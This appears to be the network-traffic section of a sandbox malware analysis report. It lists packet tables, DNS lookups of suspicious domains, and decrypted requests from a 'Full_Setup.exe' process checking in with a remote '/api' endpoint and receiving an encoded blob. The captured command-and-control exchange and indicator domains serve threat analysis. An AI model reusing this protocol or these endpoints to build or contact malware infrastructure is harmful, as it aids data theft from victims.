Dec 27, 2024 20:18:05.751594067 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.751606941 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.751641035 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.755338907 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.755353928 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.755426884 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.755434990 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.758527994 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.900727034 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.900743961 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.900827885 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.900846958 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.902266026 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.905067921 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.905081987 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.905142069 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.905148983 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.906377077 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.908885002 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.908900023 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.908945084 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.908952951 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.908977985 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.908994913 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.949527979 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.949551105 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.949654102 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.949666023 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.949697971 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.953696012 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.953710079 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.953773022 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.953779936 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.954159021 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.957561970 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.957576990 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.957638979 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.957645893 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.958163977 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.962244034 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.962260008 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.962323904 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.962331057 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.966109991 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.966131926 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.966186047 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.966197014 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.966211081 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.966228962 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.111367941 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.111393929 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.111454964 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.111469030 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.111500978 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.111522913 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.115897894 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.115916967 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.115994930 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.116003990 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.118382931 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.119797945 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.119812965 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.119879961 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.119888067 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.122366905 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.160219908 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.160237074 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.160320044 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.160346985 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.163177967 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.164428949 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.164442062 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.164514065 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.164520979 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.166167974 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.168291092 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.168304920 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.168369055 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.168378115 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.172172070 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.172950983 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.172966003 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.173029900 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.173038960 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.175160885 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.176755905 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.176774025 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.176836967 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.176846981 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.178163052 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.321651936 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.321672916 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.321723938 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.321752071 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.321764946 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.322462082 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.326481104 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.326494932 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.326560974 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.326575994 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.326709032 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.330347061 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.330360889 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.330430984 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.330442905 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.330492020 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.370889902 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.370912075 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.370945930 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.370966911 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.370979071 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.371001959 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.374984026 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.374998093 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.375049114 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.375065088 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.375077963 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.375093937 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.379375935 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.379390001 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.379441023 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.379453897 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.379487991 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.383260012 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.383275986 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.383337975 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.383354902 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.383394003 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.387407064 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.387422085 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.387461901 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.387478113 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.387510061 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.532408953 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.532433033 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.532485008 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.532505989 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.532532930 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.532545090 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.536978960 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.537002087 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.537050009 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.537064075 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.537113905 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.540766954 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.540796041 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.540841103 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.540853024 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.540882111 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.581471920 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.581511021 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.581541061 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.581561089 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.581572056 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.581588030 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.581645012 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.585222960 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.585239887 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:06.585253000 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:06.585261106 CET	443	49746	104.21.37.128	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 20:17:18.419670105 CET	53416	53	192.168.2.4	1.1.1.1
Dec 27, 2024 20:17:18.743535042 CET	53	53416	1.1.1.1	192.168.2.4
Dec 27, 2024 20:17:41.710395098 CET	49201	53	192.168.2.4	1.1.1.1
Dec 27, 2024 20:17:41.850591898 CET	53	49201	1.1.1.1	192.168.2.4
Dec 27, 2024 20:17:44.043286085 CET	59929	53	192.168.2.4	1.1.1.1
Dec 27, 2024 20:17:44.280745029 CET	53	59929	1.1.1.1	192.168.2.4
Dec 27, 2024 20:17:44.679122925 CET	65011	53	192.168.2.4	1.1.1.1
Dec 27, 2024 20:17:44.895724058 CET	53	65011	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 20:17:18.419670105 CET	192.168.2.4	1.1.1.1	0x9f43	Standard query (0)	invinciblepol.click	A (IP address)	IN (0x0001)	false
Dec 27, 2024 20:17:41.710395098 CET	192.168.2.4	1.1.1.1	0x6435	Standard query (0)	cegu.shop	A (IP address)	IN (0x0001)	false
Dec 27, 2024 20:17:44.043286085 CET	192.168.2.4	1.1.1.1	0x2f0b	Standard query (0)	klipvumisui.shop	A (IP address)	IN (0x0001)	false
Dec 27, 2024 20:17:44.679122925 CET	192.168.2.4	1.1.1.1	0xf1e6	Standard query (0)	dfgh.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 20:17:18.743535042 CET	1.1.1.1	192.168.2.4	0x9f43	No error (0)	invinciblepol.click		172.67.204.41	A (IP address)	IN (0x0001)	false
Dec 27, 2024 20:17:18.743535042 CET	1.1.1.1	192.168.2.4	0x9f43	No error (0)	invinciblepol.click		104.21.22.97	A (IP address)	IN (0x0001)	false
Dec 27, 2024 20:17:41.850591898 CET	1.1.1.1	192.168.2.4	0x6435	No error (0)	cegu.shop		185.161.251.21	A (IP address)	IN (0x0001)	false
Dec 27, 2024 20:17:44.280745029 CET	1.1.1.1	192.168.2.4	0x2f0b	No error (0)	klipvumisui.shop		104.21.37.128	A (IP address)	IN (0x0001)	false
Dec 27, 2024 20:17:44.280745029 CET	1.1.1.1	192.168.2.4	0x2f0b	No error (0)	klipvumisui.shop		172.67.208.58	A (IP address)	IN (0x0001)	false
Dec 27, 2024 20:17:44.895724058 CET	1.1.1.1	192.168.2.4	0xf1e6	Name error (3)	dfgh.online	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

invinciblepol.click

cegu.shop

klipvumisui.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	172.67.204.41	443	7488	C:\Users\user\Desktop\Full_Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:17:20 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: invinciblepol.click
2024-12-27 19:17:20 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 19:17:20 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 19:17:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5jadhcht7gg5vu161jj64sl4lc; expires=Tue, 22 Apr 2025 13:03:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JyBaFmdx2Qg7Wj9rXu2aJ9NCqE0ufU0LGVoJjIAgztXMLq3jrUyaa1QBJr5Tan9N7KVAVer%2BkUKUhvguj97U085FPqRtGOU2d1S7wCUEoN%2FP3%2BL%2B6KdDj0PPWZaTSqaIz%2FoOi4wh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8ba6720cd541cd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1724&min_rtt=1714&rtt_var=663&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=910&delivery_rate=1625835&cwnd=227&unsent_bytes=0&cid=77637b4a62fd7194&ts=751&x=0"
2024-12-27 19:17:20 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 19:17:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	172.67.204.41	443	7488	C:\Users\user\Desktop\Full_Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:17:22 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 78 Host: invinciblepol.click
2024-12-27 19:17:22 UTC	78	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 26 6a 3d 36 33 37 62 35 35 32 37 39 30 32 31 61 61 62 33 33 32 37 38 31 38 38 63 66 61 36 33 38 33 39 37 Data Ascii: act=recive_message&ver=4.0&lid=hRjzG3--ZINA&j=637b55279021aab33278188cfa638397
2024-12-27 19:17:23 UTC	1126	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 19:17:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4vvt0nrpka5fl0t1sbgvgc4nnp; expires=Tue, 22 Apr 2025 13:04:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OxbOc2V%2Be71qq2Mnm%2Fx25i1KKuS3pvC5AUG7mbWa30IepW6o9qwoXyoMk76mPTQIxLAifOkbxWtyeaORkJRWKKz7G2GGifIji4LFDs3a9FqiEBNMZnCIIhsyLKKgLtc9BYCQ5%2Fx0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8ba67e9ec9438a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1689&min_rtt=1684&rtt_var=641&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2851&recv_bytes=981&delivery_rate=1692753&cwnd=210&unsent_bytes=0&cid=d2d88a866f16ef35&ts=1127&x=0"
2024-12-27 19:17:23 UTC	243	IN	Data Raw: 31 34 36 62 0d 0a 61 2f 52 31 59 36 30 54 4b 72 62 42 35 66 4f 4b 71 68 69 79 66 44 6b 39 76 6e 6b 68 52 78 76 61 32 72 76 33 75 67 71 45 67 2b 41 51 31 67 4e 42 6c 79 63 47 6c 4c 4b 41 30 62 44 65 61 73 63 5a 46 52 2f 66 48 51 4e 39 66 62 75 32 79 4a 4b 57 4b 50 4c 75 77 6c 47 53 46 41 2f 65 64 67 61 55 70 4a 33 52 73 50 46 6a 6b 42 6c 58 48 34 52 62 52 43 31 35 75 37 62 5a 6c 74 46 6c 39 4f 2b 44 41 35 67 53 43 38 68 77 54 74 65 74 69 4a 62 76 7a 33 6e 59 45 6c 42 51 31 68 51 44 61 7a 6d 2f 6f 4a 6e 4e 6d 45 66 68 39 34 45 6d 6c 51 59 49 6a 32 34 47 7a 65 4f 41 6e 61 69 51 4f 74 4d 5a 57 31 48 59 48 55 6f 76 63 37 4b 2b 32 4a 50 51 65 75 33 6c 69 41 4f 57 45 51 72 43 65 56 72 61 70 34 2b 64 36 63 56 35 6b 46 41 62 57 Data Ascii: 146ba/R1Y60TKrbB5fOKqhiyfDk9vnkhRxva2rv3ugqEg+AQ1gNBlycGlLKA0bDeascZFR/fHQN9fbu2yJKWKPLuwlGSFA/edgaUpJ3RsPFjkBlXH4RbRC15u7bZltFl9O+DA5gSC8hwTtetiJbvz3nYElBQ1hQDazm/oJnNmEfh94EmlQYIj24GzeOAnaiQOtMZW1HYHUovc7K+2JPQeu3liAOWEQrCeVrap4+d6cV5kFAbW
2024-12-27 19:17:23 UTC	1369	IN	Data Raw: 4d 52 62 47 32 55 71 69 72 76 49 68 4d 31 6c 39 75 66 43 46 74 67 4f 51 63 68 39 43 49 7a 6a 6a 35 33 6d 7a 58 6e 66 47 56 70 66 7a 68 52 44 4a 6e 47 77 76 4e 4f 61 31 32 66 6f 36 34 55 42 6e 78 41 4f 79 48 6c 4f 32 36 44 48 33 36 6a 50 59 70 42 47 47 33 2f 4d 47 45 41 78 64 4b 6e 34 78 74 76 42 4b 4f 48 74 77 6c 48 57 45 51 2f 4f 66 45 6a 47 71 34 79 61 37 64 70 78 32 52 4e 57 58 39 45 52 54 43 5a 35 76 37 4c 54 6d 74 4a 73 36 2b 79 45 43 5a 5a 58 54 34 39 32 55 4a 54 37 78 37 4c 74 32 48 33 63 43 42 6c 6c 6e 41 51 4e 50 44 6d 2f 74 4a 6e 4e 6d 47 44 6a 34 6f 45 43 6d 52 51 4a 78 47 4e 49 78 71 57 4b 6c 50 72 4f 66 39 34 55 57 45 33 57 46 55 55 6d 63 4c 4f 78 33 4a 4c 63 4b 4b 69 68 68 52 48 57 54 30 48 75 66 45 50 59 71 5a 43 52 71 4e 63 30 79 56 35 63 Data Ascii: MRbG2UqirvIhM1l9ufCFtgOQch9CIzjj53mzXnfGVpfzhRDJnGwvNOa12fo64UBnxAOyHlO26DH36jPYpBGG3/MGEAxdKn4xtvBKOHtwlHWEQ/OfEjGq4ya7dpx2RNWX9ERTCZ5v7LTmtJs6+yECZZXT492UJT7x7Lt2H3cCBllnAQNPDm/tJnNmGDj4oECmRQJxGNIxqWKlPrOf94UWE3WFUUmcLOx3JLcKKihhRHWT0HufEPYqZCRqNc0yV5c
2024-12-27 19:17:23 UTC	1369	IN	Data Raw: 55 71 64 4c 54 34 6c 39 58 66 63 4b 61 35 77 69 4f 56 41 77 4c 46 4d 33 33 58 72 59 6d 57 2f 6f 68 6c 6e 67 63 62 57 4e 42 62 47 32 56 30 75 62 44 66 68 39 64 6c 35 65 2b 4d 42 70 4d 59 43 63 39 78 52 64 47 6e 6a 4a 72 72 78 58 37 43 46 46 74 58 32 52 70 4a 4c 7a 6e 32 2b 4e 36 4e 6d 44 43 6d 30 4a 55 43 31 43 49 43 77 58 39 50 77 75 4f 59 33 2f 47 49 66 64 78 65 41 78 2f 52 45 30 59 67 64 72 6d 79 31 35 44 53 5a 4f 37 76 67 52 75 5a 45 77 48 44 65 55 4c 5a 72 59 4f 5a 34 63 4e 78 31 68 35 61 56 5a 78 56 41 79 4a 68 2b 4f 43 5a 6f 64 39 6b 36 2b 37 41 50 4a 55 5a 44 38 68 6e 43 4d 76 74 6e 74 48 76 78 44 71 49 58 6c 64 57 33 42 42 4a 49 58 6d 2f 74 64 79 57 33 32 76 72 35 6f 67 48 6b 52 4d 4e 78 6e 78 4f 31 4b 53 44 6c 50 72 4e 63 39 77 53 47 78 47 63 48 Data Ascii: UqdLT4l9XfcKa5wiOVAwLFM33XrYmW/ohlngcbWNBbG2V0ubDfh9dl5e+MBpMYCc9xRdGnjJrrxX7CFFtX2RpJLzn2+N6NmDCm0JUC1CICwX9PwuOY3/GIfdxeAx/RE0Ygdrmy15DSZO7vgRuZEwHDeULZrYOZ4cNx1h5aVZxVAyJh+OCZod9k6+7APJUZD8hnCMvtntHvxDqIXldW3BBJIXm/tdyW32vr5ogHkRMNxnxO1KSDlPrNc9wSGxGcH
2024-12-27 19:17:23 UTC	1369	IN	Data Raw: 68 2b 4e 36 5a 6d 44 43 6d 36 49 73 62 6d 42 6b 49 77 6e 64 41 30 36 32 4b 6d 75 37 44 66 64 63 59 56 6c 66 52 48 6b 41 6b 66 62 4b 71 32 70 37 53 5a 65 79 68 7a 45 6d 52 44 30 47 58 4d 57 2f 59 69 70 65 4b 2b 74 34 36 7a 31 42 43 48 39 73 58 41 33 30 35 75 37 66 51 6d 74 42 67 36 65 36 47 42 35 41 52 44 4d 70 2b 51 73 61 72 69 5a 7a 6a 78 33 48 43 48 6c 5a 62 30 42 39 4c 4c 6e 50 34 39 70 6d 53 77 43 69 2b 6f 62 63 45 6d 52 63 43 32 54 46 58 6d 72 72 48 6c 75 53 49 49 70 41 53 56 56 2f 54 46 30 38 75 63 62 6d 30 31 35 4c 64 59 65 37 70 6b 41 69 53 48 77 44 42 66 6b 6e 51 70 6f 4b 56 37 38 78 38 33 31 34 56 48 39 73 44 41 33 30 35 6c 35 2f 73 31 2f 6c 53 70 76 37 4d 45 4e 59 51 44 59 38 70 43 4e 69 67 69 35 6e 6e 7a 6e 50 63 46 46 4a 55 30 42 42 48 4b 58 Data Ascii: h+N6ZmDCm6IsbmBkIwndA062Kmu7DfdcYVlfRHkAkfbKq2p7SZeyhzEmRD0GXMW/YipeK+t46z1BCH9sXA305u7fQmtBg6e6GB5ARDMp+QsariZzjx3HCHlZb0B9LLnP49pmSwCi+obcEmRcC2TFXmrrHluSIIpASVV/TF08ucbm015LdYe7pkAiSHwDBfknQpoKV78x8314VH9sDA305l5/s1/lSpv7MENYQDY8pCNigi5nnznPcFFJU0BBHKX
2024-12-27 19:17:23 UTC	885	IN	Data Raw: 6c 4e 6c 75 39 4f 61 4c 47 35 67 61 44 73 64 35 51 64 57 6e 67 70 7a 75 78 48 44 52 47 56 56 52 31 46 73 4e 5a 58 36 67 2b 49 48 56 2b 58 6a 39 38 35 51 45 74 78 6f 4f 6a 32 34 47 7a 65 4f 41 6e 61 69 51 4f 74 6b 4d 58 31 4c 4f 45 6b 51 72 64 72 75 71 32 4a 6a 54 65 75 48 75 68 67 36 61 45 51 37 4a 63 45 33 65 72 34 43 55 34 38 64 32 6b 46 41 62 57 4d 52 62 47 32 56 58 73 36 76 4f 6c 74 5a 6a 38 50 72 43 46 74 67 4f 51 63 68 39 43 49 7a 6a 68 4a 72 6a 7a 48 72 63 48 6c 39 53 33 41 6c 4d 49 6e 36 78 73 38 75 66 33 32 2f 74 36 59 6b 47 6b 41 55 4e 77 57 4e 4e 78 72 48 48 33 36 6a 50 59 70 42 47 47 32 6e 62 43 31 4d 6d 4f 34 6d 75 32 6f 50 54 5a 65 71 68 6e 55 65 50 56 77 62 44 4d 52 43 55 70 59 69 59 36 38 64 37 32 52 4a 57 57 74 55 65 51 69 4e 39 73 72 4c Data Ascii: 